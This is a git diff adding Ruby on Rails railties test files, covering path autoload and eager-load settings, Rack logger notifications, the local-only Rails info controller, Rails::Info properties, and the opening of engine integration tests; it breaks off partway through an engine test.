+  test "it is possible to add a path without assignment and specify it should be loaded only once" do
+    File.stub(:exist?, true) do
+      @root.add "app", with: "/app", autoload_once: true
+      assert @root["app"].autoload_once?
+      assert_includes @root.autoload_once, "/app"
+    end
+  end
+
+  test "it is possible to add multiple paths without assignment and specify it should be loaded only once" do
+    File.stub(:exist?, true) do
+      @root.add "app", with: ["/app", "/app2"], autoload_once: true
+      assert @root["app"].autoload_once?
+      assert_includes @root.autoload_once, "/app"
+      assert_includes @root.autoload_once, "/app2"
+    end
+  end
+
+  test "making a path autoload_once more than once only includes it once in @root.load_once" do
+    File.stub(:exist?, true) do
+      @root["app"] = "/app"
+      @root["app"].autoload_once!
+      @root["app"].autoload_once!
+      assert_equal 1, @root.autoload_once.select { |p| p == @root["app"].expanded.first }.size
+    end
+  end
+
+  test "paths added to a load_once path should be added to the autoload_once collection" do
+    File.stub(:exist?, true) do
+      @root["app"] = "/app"
+      @root["app"].autoload_once!
+      @root["app"] << "/app2"
+      assert_equal 2, @root.autoload_once.size
+    end
+  end
+
+  test "it is possible to mark a path as eager loaded" do
+    File.stub(:exist?, true) do
+      @root["app"] = "/app"
+      @root["app"].eager_load!
+      assert @root["app"].eager_load?
+      assert_includes @root.eager_load, @root["app"].to_a.first
+    end
+  end
+
+  test "it is possible to skip a path from eager loading" do
+    @root["app"] = "/app"
+    @root["app"].eager_load!
+    assert @root["app"].eager_load?
+
+    @root["app"].skip_eager_load!
+    assert !@root["app"].eager_load?
+    assert_not_includes @root.eager_load, @root["app"].to_a.first
+  end
+
+  test "it is possible to add a path without assignment and mark it as eager" do
+    File.stub(:exist?, true) do
+      @root.add "app", with: "/app", eager_load: true
+      assert @root["app"].eager_load?
+      assert_includes @root.eager_load, "/app"
+    end
+  end
+
+  test "it is possible to add multiple paths without assignment and mark them as eager" do
+    File.stub(:exist?, true) do
+      @root.add "app", with: ["/app", "/app2"], eager_load: true
+      assert @root["app"].eager_load?
+      assert_includes @root.eager_load, "/app"
+      assert_includes @root.eager_load, "/app2"
+    end
+  end
+
+  test "it is possible to create a path without assignment and mark it both as eager and load once" do
+    File.stub(:exist?, true) do
+      @root.add "app", with: "/app", eager_load: true, autoload_once: true
+      assert @root["app"].eager_load?
+      assert @root["app"].autoload_once?
+      assert_includes @root.eager_load, "/app"
+      assert_includes @root.autoload_once, "/app"
+    end
+  end
+
+  test "making a path eager more than once only includes it once in @root.eager_paths" do
+    File.stub(:exist?, true) do
+      @root["app"] = "/app"
+      @root["app"].eager_load!
+      @root["app"].eager_load!
+      assert_equal 1, @root.eager_load.select { |p| p == @root["app"].expanded.first }.size
+    end
+  end
+
+  test "paths added to an eager_load path should be added to the eager_load collection" do
+    File.stub(:exist?, true) do
+      @root["app"] = "/app"
+      @root["app"].eager_load!
+      @root["app"] << "/app2"
+      assert_equal 2, @root.eager_load.size
+    end
+  end
+
+  test "it should be possible to add a path's default glob" do
+    @root["app"] = "/app"
+    @root["app"].glob = "*.rb"
+    assert_equal "*.rb", @root["app"].glob
+  end
+
+  test "it should be possible to get extensions by glob" do
+    @root["app"] = "/app"
+    @root["app"].glob = "*.{rb,yml}"
+    assert_equal ["rb", "yml"], @root["app"].extensions
+  end
+
+  test "it should be possible to override a path's default glob without assignment" do
+    @root.add "app", with: "/app", glob: "*.rb"
+    assert_equal "*.rb", @root["app"].glob
+  end
+
+  test "it should be possible to replace a path and persist the original paths glob" do
+    @root.add "app", glob: "*.rb"
+    @root["app"] = "app2"
+    assert_equal ["/foo/bar/app2"], @root["app"].to_a
+    assert_equal "*.rb", @root["app"].glob
+  end
+
+  test "a path can be added to the load path" do
+    File.stub(:exist?, true) do
+      @root["app"] = "app"
+      @root["app"].load_path!
+      @root["app/models"] = "app/models"
+      assert_equal ["/foo/bar/app"], @root.load_paths
+    end
+  end
+
+  test "a path can be added to the load path on creation" do
+    File.stub(:exist?, true) do
+      @root.add "app", with: "/app", load_path: true
+      assert @root["app"].load_path?
+      assert_equal ["/app"], @root.load_paths
+    end
+  end
+
+  test "a path can be marked as autoload path" do
+    File.stub(:exist?, true) do
+      @root["app"] = "app"
+      @root["app"].autoload!
+      @root["app/models"] = "app/models"
+      assert_equal ["/foo/bar/app"], @root.autoload_paths
+    end
+  end
+
+  test "a path can be marked as autoload on creation" do
+    File.stub(:exist?, true) do
+      @root.add "app", with: "/app", autoload: true
+      assert @root["app"].autoload?
+      assert_equal ["/app"], @root.autoload_paths
+    end
+  end
+end
+
+class PathsIntegrationTest < ActiveSupport::TestCase
+  test "A failed symlink is still a valid file" do
+    Dir.mktmpdir do |dir|
+      Dir.chdir(dir) do
+        FileUtils.mkdir_p("foo")
+        File.symlink("foo/doesnotexist.rb", "foo/bar.rb")
+        assert_equal true, File.symlink?("foo/bar.rb")
+
+        root = Rails::Paths::Root.new("foo")
+        root.add "bar.rb"
+
+        exception = assert_raises(RuntimeError) do
+          root["bar.rb"].existent
+        end
+        assert_match File.expand_path("foo/bar.rb"), exception.message
+      end
+    end
+  end
+end
diff --git a/railties/test/rack_logger_test.rb b/railties/test/rack_logger_test.rb
new file mode 100644
index 0000000000..33b4bc6a3a
--- /dev/null
+++ b/railties/test/rack_logger_test.rb
@@ -0,0 +1,75 @@
+require "abstract_unit"
+require "active_support/testing/autorun"
+require "active_support/test_case"
+require "rails/rack/logger"
+require "logger"
+
+module Rails
+  module Rack
+    class LoggerTest < ActiveSupport::TestCase
+      class TestLogger < Rails::Rack::Logger
+        NULL = ::Logger.new File::NULL
+
+        attr_reader :logger
+
+        def initialize(logger = NULL, taggers = nil, &block)
+          super(->(_) { block.call; [200, {}, []] }, taggers)
+          @logger = logger
+        end
+
+        def development?; false; end
+      end
+
+      Subscriber = Struct.new(:starts, :finishes) do
+        def initialize(starts = [], finishes = [])
+          super
+        end
+
+        def start(name, id, payload)
+          starts << [name, id, payload]
+        end
+
+        def finish(name, id, payload)
+          finishes << [name, id, payload]
+        end
+      end
+
+      attr_reader :subscriber, :notifier
+
+      def setup
+        @subscriber = Subscriber.new
+        @notifier = ActiveSupport::Notifications.notifier
+        @subscription = notifier.subscribe "request.action_dispatch", subscriber
+      end
+
+      def teardown
+        notifier.unsubscribe @subscription
+      end
+
+      def test_notification
+        logger = TestLogger.new {}
+
+        assert_difference("subscriber.starts.length") do
+          assert_difference("subscriber.finishes.length") do
+            logger.call("REQUEST_METHOD" => "GET").last.close
+          end
+        end
+      end
+
+      def test_notification_on_raise
+        logger = TestLogger.new do
+          # using an exception class that is not a StandardError subclass on purpose
+          raise NotImplementedError
+        end
+
+        assert_difference("subscriber.starts.length") do
+          assert_difference("subscriber.finishes.length") do
+            assert_raises(NotImplementedError) do
+              logger.call "REQUEST_METHOD" => "GET"
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/railties/test/rails_info_controller_test.rb b/railties/test/rails_info_controller_test.rb
new file mode 100644
index 0000000000..d795629ccd
--- /dev/null
+++ b/railties/test/rails_info_controller_test.rb
@@ -0,0 +1,87 @@
+require "abstract_unit"
+
+module ActionController
+  class Base
+    include ActionController::Testing
+  end
+end
+
+class InfoControllerTest < ActionController::TestCase
+  tests Rails::InfoController
+
+  def setup
+    Rails.application.routes.draw do
+      get "/rails/info/properties" => "rails/info#properties"
+      get "/rails/info/routes"     => "rails/info#routes"
+    end
+    @routes = Rails.application.routes
+
+    Rails::InfoController.include(@routes.url_helpers)
+
+    @request.env["REMOTE_ADDR"] = "127.0.0.1"
+  end
+
+  test "info controller does not allow remote requests" do
+    @request.env["REMOTE_ADDR"] = "example.org"
+    get :properties
+    assert_response :forbidden
+  end
+
+  test "info controller renders an error message when request was forbidden" do
+    @request.env["REMOTE_ADDR"] = "example.org"
+    get :properties
+    assert_select "p"
+  end
+
+  test "info controller allows requests when all requests are considered local" do
+    get :properties
+    assert_response :success
+  end
+
+  test "info controller allows local requests" do
+    get :properties
+    assert_response :success
+  end
+
+  test "info controller renders a table with properties" do
+    get :properties
+    assert_select "table"
+  end
+
+  test "info controller renders with routes" do
+    get :routes
+    assert_response :success
+  end
+
+  test "info controller returns exact matches" do
+    exact_count = -> { JSON(response.body)["exact"].size }
+
+    get :routes, params: { path: "rails/info/route" }
+    assert exact_count.call == 0, "should not match incomplete routes"
+
+    get :routes, params: { path: "rails/info/routes" }
+    assert exact_count.call == 1, "should match complete routes"
+
+    get :routes, params: { path: "rails/info/routes.html" }
+    assert exact_count.call == 1, "should match complete routes with optional parts"
+  end
+
+  test "info controller returns fuzzy matches" do
+    fuzzy_count = -> { JSON(response.body)["fuzzy"].size }
+
+    get :routes, params: { path: "rails/info" }
+    assert fuzzy_count.call == 2, "should match incomplete routes"
+
+    get :routes, params: { path: "rails/info/routes" }
+    assert fuzzy_count.call == 1, "should match complete routes"
+
+    get :routes, params: { path: "rails/info/routes.html" }
+    assert fuzzy_count.call == 0, "should match optional parts of route literally"
+  end
+
+  test "internal routes do not have a default params[:internal] value" do
+    get :properties
+    assert_response :success
+    assert_nil @controller.params[:internal]
+  end
+end
diff --git a/railties/test/rails_info_test.rb b/railties/test/rails_info_test.rb
new file mode 100644
index 0000000000..383adcc55d
--- /dev/null
+++ b/railties/test/rails_info_test.rb
@@ -0,0 +1,71 @@
+require "abstract_unit"
+
+unless defined?(Rails) && defined?(Rails::Info)
+  module Rails
+    class Info; end
+  end
+end
+
+require "active_support/core_ext/kernel/reporting"
+
+class InfoTest < ActiveSupport::TestCase
+  def setup
+    Rails.send :remove_const, :Info
+    silence_warnings { load "rails/info.rb" }
+  end
+
+  def test_property_with_block_swallows_exceptions_and_ignores_property
+    assert_nothing_raised do
+      Rails::Info.module_eval do
+        property("Bogus") { raise }
+      end
+    end
+    assert !property_defined?("Bogus")
+  end
+
+  def test_property_with_string
+    Rails::Info.module_eval do
+      property "Hello", "World"
+    end
+    assert_property "Hello", "World"
+  end
+
+  def test_property_with_block
+    Rails::Info.module_eval do
+      property("Goodbye") { "World" }
+    end
+    assert_property "Goodbye", "World"
+  end
+
+  def test_rails_version
+    assert_property "Rails version",
+      File.read(File.realpath("../../RAILS_VERSION", __dir__)).chomp
+  end
+
+  def test_html_includes_middleware
+    Rails::Info.module_eval do
+      property "Middleware", ["Rack::Lock", "Rack::Static"]
+    end
+
+    html = Rails::Info.to_html
+    assert_includes html, '<tr><td class="name">Middleware</td>'
+    properties.value_for("Middleware").each do |value|
+      assert_includes html, "<li>#{CGI.escapeHTML(value)}</li>"
+    end
+  end
+
+  private
+    def properties
+      Rails::Info.properties
+    end
+
+    def property_defined?(property_name)
+      properties.names.include? property_name
+    end
+
+    def assert_property(property_name, value)
+      raise "Property #{property_name.inspect} not defined" unless
+        property_defined? property_name
+      assert_equal value, properties.value_for(property_name)
+    end
+end
diff --git a/railties/test/railties/engine_test.rb b/railties/test/railties/engine_test.rb
new file mode 100644
index 0000000000..6f762d2d3f
--- /dev/null
+++ b/railties/test/railties/engine_test.rb
@@ -0,0 +1,1464 @@
+require "isolation/abstract_unit"
+require "stringio"
+require "rack/test"
+
+module RailtiesTest
+  class EngineTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+
+    def setup
+      build_app
+
+      @plugin = engine "bukkits" do |plugin|
+        plugin.write "lib/bukkits.rb", <<-RUBY
+          module Bukkits
+            class Engine < ::Rails::Engine
+              railtie_name "bukkits"
+            end
+          end
+        RUBY
+        plugin.write "lib/another.rb", "class Another; end"
+      end
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def boot_rails
+      require "#{app_path}/config/environment"
+    end
+
+    test "serving sprocket's assets" do
+      @plugin.write "app/assets/javascripts/engine.js.erb", "<%= :alert %>();"
+      add_to_env_config "development", "config.assets.digest = false"
+
+      boot_rails
+
+      get "/assets/engine.js"
+      assert_match "alert()", last_response.body
+    end
+
+    test "rake environment can be called in the engine" do
+      boot_rails
+
+      @plugin.write "Rakefile", <<-RUBY
+        APP_RAKEFILE = '#{app_path}/Rakefile'
+        load 'rails/tasks/engine.rake'
+        task :foo => :environment do
+          puts "Task ran"
+        end
+      RUBY
+
+      Dir.chdir(@plugin.path) do
+        output = `bundle exec rake foo`
+        assert_match "Task ran", output
+      end
+    end
+
+    test "copying migrations" do
+      @plugin.write "db/migrate/1_create_users.rb", <<-RUBY
+        class CreateUsers < ActiveRecord::Migration::Current
+        end
+      RUBY
+
+      @plugin.write "db/migrate/2_add_last_name_to_users.rb", <<-RUBY
+        class AddLastNameToUsers < ActiveRecord::Migration::Current
+        end
+      RUBY
+
+      @plugin.write "db/migrate/3_create_sessions.rb", <<-RUBY
+        class CreateSessions < ActiveRecord::Migration::Current
+        end
+      RUBY
+
+      app_file "db/migrate/1_create_sessions.rb", <<-RUBY
+        class CreateSessions < ActiveRecord::Migration::Current
+          def up
+          end
+        end
+      RUBY
+
+      add_to_config "ActiveRecord::Base.timestamped_migrations = false"
+
+      boot_rails
+
+      Dir.chdir(app_path) do
+        output = `bundle exec rake bukkits:install:migrations`
+
+        assert File.exist?("#{app_path}/db/migrate/2_create_users.bukkits.rb")
+        assert File.exist?("#{app_path}/db/migrate/3_add_last_name_to_users.bukkits.rb")
+        assert_match(/Copied migration 2_create_users\.bukkits\.rb from bukkits/, output)
+        assert_match(/Copied migration 3_add_last_name_to_users\.bukkits\.rb from bukkits/, output)
+        assert_match(/NOTE: Migration 3_create_sessions\.rb from bukkits has been skipped/, output)
+        assert_equal 3, Dir["#{app_path}/db/migrate/*.rb"].length
+
+        output = `bundle exec rake railties:install:migrations`.split("\n")
+
+        assert_no_match(/2_create_users/, output.join("\n"))
+
+        bukkits_migration_order = output.index(output.detect { |o| /NOTE: Migration 3_create_sessions\.rb from bukkits has been skipped/ =~ o })
+        assert_not_nil bukkits_migration_order, "Expected migration to be skipped"
+
+        migrations_count = Dir["#{app_path}/db/migrate/*.rb"].length
+        `bundle exec rake railties:install:migrations`
+
+        assert_equal migrations_count, Dir["#{app_path}/db/migrate/*.rb"].length
+      end
+    end
+
+    test "respects the order of railties when installing migrations" do
+      @blog = engine "blog" do |plugin|
+        plugin.write "lib/blog.rb", <<-RUBY
+          module Blog
+            class Engine < ::Rails::Engine
+            end
+          end
+        RUBY
+      end
+
+      @plugin.write "db/migrate/1_create_users.rb", <<-RUBY
+        class CreateUsers < ActiveRecord::Migration::Current
+        end
+      RUBY
+
+      @blog.write "db/migrate/2_create_blogs.rb", <<-RUBY
+        class CreateBlogs < ActiveRecord::Migration::Current
+        end
+      RUBY
+
+      add_to_config("config.railties_order = [Bukkits::Engine, Blog::Engine, :all, :main_app]")
+
+      boot_rails
+
+      Dir.chdir(app_path) do
+        output = `bundle exec rake railties:install:migrations`.split("\n")
+
+        assert_match(/Copied migration \d+_create_users\.bukkits\.rb from bukkits/, output.first)
+        assert_match(/Copied migration \d+_create_blogs\.blog_engine\.rb from blog_engine/, output.last)
+      end
+    end
+
+    test "dont reverse default railties order" do
+      @api = engine "api" do |plugin|
+        plugin.write "lib/api.rb", <<-RUBY
+          module Api
+            class Engine < ::Rails::Engine; end
+          end
+        RUBY
+      end
+
+      # added last but here is loaded before api engine
+      @core = engine "core" do |plugin|
+        plugin.write "lib/core.rb", <<-RUBY
+          module Core
+            class Engine < ::Rails::Engine; end
+          end
+        RUBY
+      end
+
+      @core.write "db/migrate/1_create_users.rb", <<-RUBY
+        class CreateUsers < ActiveRecord::Migration::Current; end
+      RUBY
+
+      @api.write "db/migrate/2_create_keys.rb", <<-RUBY
+        class CreateKeys < ActiveRecord::Migration::Current; end
+      RUBY
+
+      boot_rails
+
+      Dir.chdir(app_path) do
+        output = `bundle exec rake railties:install:migrations`.split("\n")
+
+        assert_match(/Copied migration \d+_create_users\.core_engine\.rb from core_engine/, output.first)
+        assert_match(/Copied migration \d+_create_keys\.api_engine\.rb from api_engine/, output.last)
+      end
+    end
+
+    test "mountable engine should copy migrations within engine_path" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            isolate_namespace Bukkits
+          end
+        end
+      RUBY
+
+      @plugin.write "db/migrate/0_add_first_name_to_users.rb", <<-RUBY
+        class AddFirstNameToUsers < ActiveRecord::Migration::Current
+        end
+      RUBY
+
+      @plugin.write "Rakefile", <<-RUBY
+        APP_RAKEFILE = '#{app_path}/Rakefile'
+        load 'rails/tasks/engine.rake'
+      RUBY
+
+      add_to_config "ActiveRecord::Base.timestamped_migrations = false"
+
+      boot_rails
+
+      Dir.chdir(@plugin.path) do
+        output = `bundle exec rake app:bukkits:install:migrations`
+        assert File.exist?("#{app_path}/db/migrate/0_add_first_name_to_users.bukkits.rb")
+        assert_match(/Copied migration 0_add_first_name_to_users\.bukkits\.rb from bukkits/, output)
+        assert_equal 1, Dir["#{app_path}/db/migrate/*.rb"].length
+      end
+    end
+
+    test "no rake task without migrations" do
+      boot_rails
+      require "rake"
+      require "rdoc/task"
+      require "rake/testtask"
+      Rails.application.load_tasks
+      assert !Rake::Task.task_defined?("bukkits:install:migrations")
+    end
+
+    test "puts its lib directory on load path" do
+      boot_rails
+      require "another"
+      assert_equal "Another", Another.name
+    end
+
+    test "puts its models directory on autoload path" do
+      @plugin.write "app/models/my_bukkit.rb", "class MyBukkit ; end"
+      boot_rails
+      assert_nothing_raised { MyBukkit }
+    end
+
+    test "puts its controllers directory on autoload path" do
+      @plugin.write "app/controllers/bukkit_controller.rb", "class BukkitController ; end"
+      boot_rails
+      assert_nothing_raised { BukkitController }
+    end
+
+    test "adds its views to view paths" do
+      @plugin.write "app/controllers/bukkit_controller.rb", <<-RUBY
+        class BukkitController < ActionController::Base
+          def index
+          end
+        end
+      RUBY
+
+      @plugin.write "app/views/bukkit/index.html.erb", "Hello bukkits"
+
+      boot_rails
+
+      require "action_controller"
+      require "rack/mock"
+      response = BukkitController.action(:index).call(Rack::MockRequest.env_for("/"))
+      assert_equal "Hello bukkits\n", response[2].body
+    end
+
+    test "adds its views to view paths with lower priority than app ones" do
+      @plugin.write "app/controllers/bukkit_controller.rb", <<-RUBY
+        class BukkitController < ActionController::Base
+          def index
+          end
+        end
+      RUBY
+
+      @plugin.write "app/views/bukkit/index.html.erb", "Hello bukkits"
+      app_file "app/views/bukkit/index.html.erb", "Hi bukkits"
+
+      boot_rails
+
+      require "action_controller"
+      require "rack/mock"
+      response = BukkitController.action(:index).call(Rack::MockRequest.env_for("/"))
+      assert_equal "Hi bukkits\n", response[2].body
+    end
+
+    test "adds helpers to controller views" do
+      @plugin.write "app/controllers/bukkit_controller.rb", <<-RUBY
+        class BukkitController < ActionController::Base
+          def index
+          end
+        end
+      RUBY
+
+      @plugin.write "app/helpers/bukkit_helper.rb", <<-RUBY
+        module BukkitHelper
+          def bukkits
+            "bukkits"
+          end
+        end
+      RUBY
+
+      @plugin.write "app/views/bukkit/index.html.erb", "Hello <%= bukkits %>"
+
+      boot_rails
+
+      require "rack/mock"
+      response = BukkitController.action(:index).call(Rack::MockRequest.env_for("/"))
+      assert_equal "Hello bukkits\n", response[2].body
+    end
+
+    test "autoload any path under app" do
+      @plugin.write "app/anything/foo.rb", <<-RUBY
+        module Foo; end
+      RUBY
+      boot_rails
+      assert Foo
+    end
+
+    test "routes are added to router" do
+      @plugin.write "config/routes.rb", <<-RUBY
+        class Sprokkit
+          def self.call(env)
+            [200, {'Content-Type' => 'text/html'}, ["I am a Sprokkit"]]
+          end
+        end
+
+        Rails.application.routes.draw do
+          get "/sprokkit", :to => Sprokkit
+        end
+      RUBY
+
+      boot_rails
+
+      get "/sprokkit"
+      assert_equal "I am a Sprokkit", last_response.body
+    end
+
+    test "routes in engines have lower priority than application ones" do
+      controller "foo", <<-RUBY
+        class FooController < ActionController::Base
+          def index
+            render plain: "foo"
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get 'foo', :to => 'foo#index'
+        end
+      RUBY
+
+      @plugin.write "app/controllers/bar_controller.rb", <<-RUBY
+        class BarController < ActionController::Base
+          def index
+            render plain: "bar"
+          end
+        end
+      RUBY
+
+      @plugin.write "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get 'foo', to: 'bar#index'
+          get 'bar', to: 'bar#index'
+        end
+      RUBY
+
+      boot_rails
+
+      get "/foo"
+      assert_equal "foo", last_response.body
+
+      get "/bar"
+      assert_equal "bar", last_response.body
+    end
+
+    test "rake tasks lib tasks are loaded" do
+      $executed = false
+      @plugin.write "lib/tasks/foo.rake", <<-RUBY
+        task :foo do
+          $executed = true
+        end
+      RUBY
+
+      boot_rails
+      require "rake"
+      require "rdoc/task"
+      require "rake/testtask"
+      Rails.application.load_tasks
+      Rake::Task[:foo].invoke
+      assert $executed
+    end
+
+    test "i18n files have lower priority than application ones" do
+      add_to_config <<-RUBY
+        config.i18n.load_path << "#{app_path}/app/locales/en.yml"
+      RUBY
+
+      app_file "app/locales/en.yml", <<-YAML
+en:
+  bar: "1"
+YAML
+
+      app_file "config/locales/en.yml", <<-YAML
+en:
+  foo: "2"
+  bar: "2"
+YAML
+
+      @plugin.write "config/locales/en.yml", <<-YAML
+en:
+  foo: "3"
+YAML
+
+      boot_rails
+
+      expected_locales = %W(
+        #{RAILS_FRAMEWORK_ROOT}/activesupport/lib/active_support/locale/en.yml
+        #{RAILS_FRAMEWORK_ROOT}/activemodel/lib/active_model/locale/en.yml
+        #{RAILS_FRAMEWORK_ROOT}/activerecord/lib/active_record/locale/en.yml
+        #{RAILS_FRAMEWORK_ROOT}/actionview/lib/action_view/locale/en.yml
+        #{@plugin.path}/config/locales/en.yml
+        #{app_path}/config/locales/en.yml
+        #{app_path}/app/locales/en.yml
+      ).map { |path| File.expand_path(path) }
+
+      actual_locales = I18n.load_path.map { |path|
+        File.expand_path(path)
+      } & expected_locales # remove locales external to Rails
+
+      assert_equal expected_locales, actual_locales
+
+      assert_equal "2", I18n.t(:foo)
+      assert_equal "1", I18n.t(:bar)
+    end
+
+    test "namespaced controllers with namespaced routes" do
+      @plugin.write "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          namespace :admin do
+            namespace :foo do
+              get "bar", to: "bar#index"
+            end
+          end
+        end
+      RUBY
+
+      @plugin.write "app/controllers/admin/foo/bar_controller.rb", <<-RUBY
+        class Admin::Foo::BarController < ApplicationController
+          def index
+            render plain: "Rendered from namespace"
+          end
+        end
+      RUBY
+
+      boot_rails
+
+      get "/admin/foo/bar"
+      assert_equal 200, last_response.status
+      assert_equal "Rendered from namespace", last_response.body
+    end
+
+    test "initializers" do
+      $plugin_initializer = false
+      @plugin.write "config/initializers/foo.rb", <<-RUBY
+        $plugin_initializer = true
+      RUBY
+
+      boot_rails
+      assert $plugin_initializer
+    end
+
+    test "middleware referenced in configuration" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        class Bukkits
+          def initialize(app)
+            @app = app
+          end
+
+          def call(env)
+            @app.call(env)
+          end
+        end
+      RUBY
+
+      add_to_config "config.middleware.use Bukkits"
+      boot_rails
+    end
+
+    test "initializers are executed after application configuration initializers" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            initializer "dummy_initializer" do
+            end
+          end
+        end
+      RUBY
+
+      boot_rails
+
+      initializers = Rails.application.initializers.tsort
+      dummy_index  = initializers.index  { |i| i.name == "dummy_initializer" }
+      config_index = initializers.rindex { |i| i.name == :load_config_initializers }
+      stack_index  = initializers.index  { |i| i.name == :build_middleware_stack }
+
+      assert config_index < dummy_index
+      assert dummy_index < stack_index
+    end
+
+    class Upcaser
+      def initialize(app)
+        @app = app
+      end
+
+      def call(env)
+        response = @app.call(env)
+        response[2].each(&:upcase!)
+        response
+      end
+    end
+
+    test "engine is a rack app and can have its own middleware stack" do
+      add_to_config("config.action_dispatch.show_exceptions = false")
+
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            endpoint lambda { |env| [200, {'Content-Type' => 'text/html'}, ['Hello World']] }
+            config.middleware.use ::RailtiesTest::EngineTest::Upcaser
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          mount(Bukkits::Engine => "/bukkits")
+        end
+      RUBY
+
+      boot_rails
+
+      get("/bukkits")
+      assert_equal "HELLO WORLD", last_response.body
+    end
+
+    test "pass the value of the segment" do
+      controller "foo", <<-RUBY
+        class FooController < ActionController::Base
+          def index
+            render plain: params[:username]
+          end
+        end
+      RUBY
+
+      @plugin.write "config/routes.rb", <<-RUBY
+        Bukkits::Engine.routes.draw do
+          root to: "foo#index"
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          mount(Bukkits::Engine => "/:username")
+        end
+      RUBY
+
+      boot_rails
+
+      get("/arunagw")
+      assert_equal "arunagw", last_response.body
+
+    end
+
+    test "it provides routes as default endpoint" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+          end
+        end
+      RUBY
+
+      @plugin.write "config/routes.rb", <<-RUBY
+        Bukkits::Engine.routes.draw do
+          get "/foo" => lambda { |env| [200, {'Content-Type' => 'text/html'}, ['foo']] }
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          mount(Bukkits::Engine => "/bukkits")
+        end
+      RUBY
+
+      boot_rails
+
+      get("/bukkits/foo")
+      assert_equal "foo", last_response.body
+    end
+
+    test "it loads its environments file" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            config.paths["config/environments"].push "config/environments/additional.rb"
+          end
+        end
+      RUBY
+
+      @plugin.write "config/environments/development.rb", <<-RUBY
+        Bukkits::Engine.configure do
+          config.environment_loaded = true
+        end
+      RUBY
+
+      @plugin.write "config/environments/additional.rb", <<-RUBY
+        Bukkits::Engine.configure do
+          config.additional_environment_loaded = true
+        end
+      RUBY
+
+      boot_rails
+
+      assert Bukkits::Engine.config.environment_loaded
+      assert Bukkits::Engine.config.additional_environment_loaded
+    end
+
+    test "it passes router in env" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            endpoint lambda { |env| [200, {'Content-Type' => 'text/html'}, ['hello']] }
+          end
+        end
+      RUBY
+
+      require "rack/file"
+      boot_rails
+
+      env = Rack::MockRequest.env_for("/")
+      Bukkits::Engine.call(env)
+      assert_equal Bukkits::Engine.routes, env["action_dispatch.routes"]
+
+      env = Rack::MockRequest.env_for("/")
+      Rails.application.call(env)
+      assert_equal Rails.application.routes, env["action_dispatch.routes"]
+    end
+
+    test "isolated engine should include only its own routes and helpers" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            isolate_namespace Bukkits
+          end
+        end
+      RUBY
+
+      @plugin.write "app/models/bukkits/post.rb", <<-RUBY
+        module Bukkits
+          class Post
+            include ActiveModel::Model
+
+            def to_param
+              "1"
+            end
+
+            def persisted?
+              true
+            end
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get "/bar" => "bar#index", as: "bar"
+          mount Bukkits::Engine => "/bukkits", as: "bukkits"
+        end
+      RUBY
+
+      @plugin.write "config/routes.rb", <<-RUBY
+        Bukkits::Engine.routes.draw do
+          get "/foo" => "foo#index", as: "foo"
+          get "/foo/show" => "foo#show"
+          get "/from_app" => "foo#from_app"
+          get "/routes_helpers_in_view" => "foo#routes_helpers_in_view"
+          get "/polymorphic_path_without_namespace" => "foo#polymorphic_path_without_namespace"
+          resources :posts
+        end
+      RUBY
+
+      app_file "app/helpers/some_helper.rb", <<-RUBY
+        module SomeHelper
+          def something
+            "Something... Something... Something..."
+          end
+        end
+      RUBY
+
+      @plugin.write "app/helpers/engine_helper.rb", <<-RUBY
+        module EngineHelper
+          def help_the_engine
+            "Helped."
+          end
+        end
+      RUBY
+
+      @plugin.write "app/controllers/bukkits/foo_controller.rb", <<-RUBY
+        class Bukkits::FooController < ActionController::Base
+          def index
+            render inline: "<%= help_the_engine %>"
+          end
+
+          def show
+            render plain: foo_path
+          end
+
+          def from_app
+            render inline: "<%= (self.respond_to?(:bar_path) || self.respond_to?(:something)) %>"
+          end
+
+          def routes_helpers_in_view
+            render inline: "<%= foo_path %>, <%= main_app.bar_path %>"
+          end
+
+          def polymorphic_path_without_namespace
+            render plain: polymorphic_path(Post.new)
+          end
+        end
+      RUBY
+
+      @plugin.write "app/mailers/bukkits/my_mailer.rb", <<-RUBY
+        module Bukkits
+          class MyMailer < ActionMailer::Base
+          end
+        end
+      RUBY
+
+      add_to_config("config.action_dispatch.show_exceptions = false")
+
+      boot_rails
+
+      assert_equal "bukkits_", Bukkits.table_name_prefix
+      assert_equal "bukkits", Bukkits::Engine.engine_name
+      assert_equal Bukkits.railtie_namespace, Bukkits::Engine
+      assert ::Bukkits::MyMailer.method_defined?(:foo_url)
+      assert !::Bukkits::MyMailer.method_defined?(:bar_url)
+
+      get("/bukkits/from_app")
+      assert_equal "false", last_response.body
+
+      get("/bukkits/foo/show")
+      assert_equal "/bukkits/foo", last_response.body
+
+      get("/bukkits/foo")
+      assert_equal "Helped.", last_response.body
+
+      get("/bukkits/routes_helpers_in_view")
+      assert_equal "/bukkits/foo, /bar", last_response.body
+
+      get("/bukkits/polymorphic_path_without_namespace")
+      assert_equal "/bukkits/posts/1", last_response.body
+    end
+
+    test "isolated engine should avoid namespace in names if that's possible" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            isolate_namespace Bukkits
+          end
+        end
+      RUBY
+
